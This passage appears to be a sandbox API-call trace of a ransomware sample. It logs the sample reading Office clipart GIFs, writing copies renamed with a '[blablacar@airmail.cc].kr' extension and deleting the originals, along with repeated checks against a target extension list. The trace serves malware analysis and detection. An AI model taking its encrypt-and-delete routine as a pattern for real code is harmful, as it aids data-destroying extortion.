dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.405] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=12702) returned 1 [0104.405] CloseHandle (hObject=0x364) returned 1 [0104.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0104.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.405] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.405] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0104.406] GetLastError () returned 0x0 [0104.406] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x319e, lpOverlapped=0x0) returned 1 [0104.699] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x31a0, lpOverlapped=0x0) returned 1 [0104.700] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0104.700] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0104.700] SetEndOfFile (hFile=0x384) returned 1 [0104.700] CloseHandle (hObject=0x384) returned 1 [0104.701] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.702] SetEndOfFile (hFile=0x364) returned 1 [0104.702] CloseHandle (hObject=0x364) returned 1 [0104.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.703] lstrlenW (lpString=".doc") returned 4 [0104.703] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.703] lstrlenW (lpString=".docx") returned 5 [0104.703] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.703] lstrlenW (lpString=".pdf") returned 4 [0104.703] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.703] lstrlenW (lpString=".xls") returned 4 [0104.703] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.703] lstrlenW (lpString=".xlsx") returned 5 [0104.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.703] lstrlenW (lpString=".ppt") returned 4 [0104.703] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.704] lstrlenW (lpString=".zip") returned 4 [0104.704] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.704] lstrlenW (lpString=".rar") returned 4 [0104.704] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.704] lstrlenW (lpString=".bz2") returned 4 [0104.704] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.704] lstrlenW (lpString=".7z") returned 3 [0104.704] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.704] lstrlenW (lpString=".dbf") returned 4 [0104.704] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.704] lstrlenW (lpString=".1cd") returned 4 [0104.704] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.704] lstrlenW (lpString=".jpg") returned 4 [0104.704] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.704] lstrlenW (lpString=".doc") returned 4 [0104.704] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.704] lstrlenW (lpString=".docx") returned 5 [0104.704] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.704] lstrlenW (lpString=".pdf") returned 4 [0104.704] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.704] lstrlenW (lpString=".xls") returned 4 [0104.704] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.704] lstrlenW (lpString=".xlsx") returned 5 [0104.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.704] lstrlenW (lpString=".ppt") returned 4 [0104.704] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.705] lstrlenW (lpString=".zip") returned 4 [0104.705] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.705] lstrlenW (lpString=".rar") returned 4 [0104.705] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.705] lstrlenW (lpString=".bz2") returned 4 [0104.705] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.705] lstrlenW (lpString=".7z") returned 3 [0104.705] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.705] lstrlenW (lpString=".dbf") returned 4 [0104.705] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.705] lstrlenW (lpString=".1cd") returned 4 [0104.705] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0104.705] lstrlenW (lpString=".jpg") returned 4 [0104.705] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.705] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.705] lstrlenW (lpString="AG00158_.GIF") returned 12 [0104.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.706] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=5030) returned 1 [0104.706] CloseHandle (hObject=0x364) returned 1 [0104.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0104.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.706] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.706] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0104.706] GetLastError () returned 0x0 [0104.706] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x13a6, lpOverlapped=0x0) returned 1 [0104.708] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13b0, lpOverlapped=0x0) returned 1 [0104.709] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0104.709] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0104.709] SetEndOfFile (hFile=0x384) returned 1 [0104.709] CloseHandle (hObject=0x384) returned 1 [0104.710] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.710] SetEndOfFile (hFile=0x364) returned 1 [0104.711] CloseHandle (hObject=0x364) returned 1 [0104.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0104.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.712] lstrlenW (lpString=".doc") returned 4 [0104.712] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.712] lstrlenW (lpString=".docx") returned 5 [0104.712] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.712] lstrlenW (lpString=".pdf") returned 4 [0104.712] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.712] lstrlenW (lpString=".xls") returned 4 [0104.712] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.712] lstrlenW (lpString=".xlsx") returned 5 [0104.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.712] lstrlenW (lpString=".ppt") returned 4 [0104.712] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.712] lstrlenW (lpString=".zip") returned 4 [0104.712] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.712] lstrlenW (lpString=".rar") returned 4 [0104.712] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.712] lstrlenW (lpString=".bz2") returned 4 [0104.712] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.712] lstrlenW (lpString=".7z") returned 3 [0104.712] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.713] lstrlenW (lpString=".dbf") returned 4 [0104.713] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.713] lstrlenW (lpString=".1cd") returned 4 [0104.713] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.713] lstrlenW (lpString=".jpg") returned 4 [0104.713] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.713] lstrlenW (lpString=".doc") returned 4 [0104.713] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.713] lstrlenW (lpString=".docx") returned 5 [0104.713] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.713] lstrlenW (lpString=".pdf") returned 4 [0104.713] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.713] lstrlenW (lpString=".xls") returned 4 [0104.713] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.713] lstrlenW (lpString=".xlsx") returned 5 [0104.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.713] lstrlenW (lpString=".ppt") returned 4 [0104.713] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.713] lstrlenW (lpString=".zip") returned 4 [0104.713] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.713] lstrlenW (lpString=".rar") returned 4 [0104.713] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.713] lstrlenW (lpString=".bz2") returned 4 [0104.713] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.714] lstrlenW (lpString=".7z") returned 3 [0104.714] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.714] lstrlenW (lpString=".dbf") returned 4 [0104.714] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.714] lstrlenW (lpString=".1cd") returned 4 [0104.714] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0104.714] lstrlenW (lpString=".jpg") returned 4 [0104.714] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.714] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.714] lstrlenW (lpString="AG00160_.GIF") returned 12 [0104.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.714] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1146) returned 1 [0104.714] CloseHandle (hObject=0x364) returned 1 [0104.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0104.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.715] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.715] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0104.715] GetLastError () returned 0x0 [0104.715] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x47a, lpOverlapped=0x0) returned 1 [0104.717] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x480, lpOverlapped=0x0) returned 1 [0104.718] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0104.718] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0104.718] SetEndOfFile (hFile=0x384) returned 1 [0104.718] CloseHandle (hObject=0x384) returned 1 [0104.720] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.720] SetEndOfFile (hFile=0x364) returned 1 [0104.721] CloseHandle (hObject=0x364) returned 1 [0104.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0104.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.722] lstrlenW (lpString=".doc") returned 4 [0104.722] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.722] lstrlenW (lpString=".docx") returned 5 [0104.722] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.722] lstrlenW (lpString=".pdf") returned 4 [0104.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.722] lstrlenW (lpString=".xls") returned 4 [0104.722] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.722] lstrlenW (lpString=".xlsx") returned 5 [0104.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.722] lstrlenW (lpString=".ppt") returned 4 [0104.722] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.722] lstrlenW (lpString=".zip") returned 4 [0104.722] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.722] lstrlenW (lpString=".rar") returned 4 [0104.722] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.722] lstrlenW (lpString=".bz2") returned 4 [0104.722] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.722] lstrlenW (lpString=".7z") returned 3 [0104.723] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.723] lstrlenW (lpString=".dbf") returned 4 [0104.723] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.723] lstrlenW (lpString=".1cd") returned 4 [0104.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.723] lstrlenW (lpString=".jpg") returned 4 [0104.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.723] lstrlenW (lpString=".doc") returned 4 [0104.723] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.723] lstrlenW (lpString=".docx") returned 5 [0104.723] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.723] lstrlenW (lpString=".pdf") returned 4 [0104.723] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.723] lstrlenW (lpString=".xls") returned 4 [0104.723] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.723] lstrlenW (lpString=".xlsx") returned 5 [0104.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.723] lstrlenW (lpString=".ppt") returned 4 [0104.724] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.725] lstrlenW (lpString=".zip") returned 4 [0104.725] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.725] lstrlenW (lpString=".rar") returned 4 [0104.725] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.725] lstrlenW (lpString=".bz2") returned 4 [0104.725] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.725] lstrlenW (lpString=".7z") returned 3 [0104.725] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.725] lstrlenW (lpString=".dbf") returned 4 [0104.725] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.725] lstrlenW (lpString=".1cd") returned 4 [0104.725] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0104.725] lstrlenW (lpString=".jpg") returned 4 [0104.725] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.725] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.725] lstrlenW (lpString="AG00161_.GIF") returned 12 [0104.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.726] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7583) returned 1 [0104.726] CloseHandle (hObject=0x364) returned 1 [0104.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0104.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 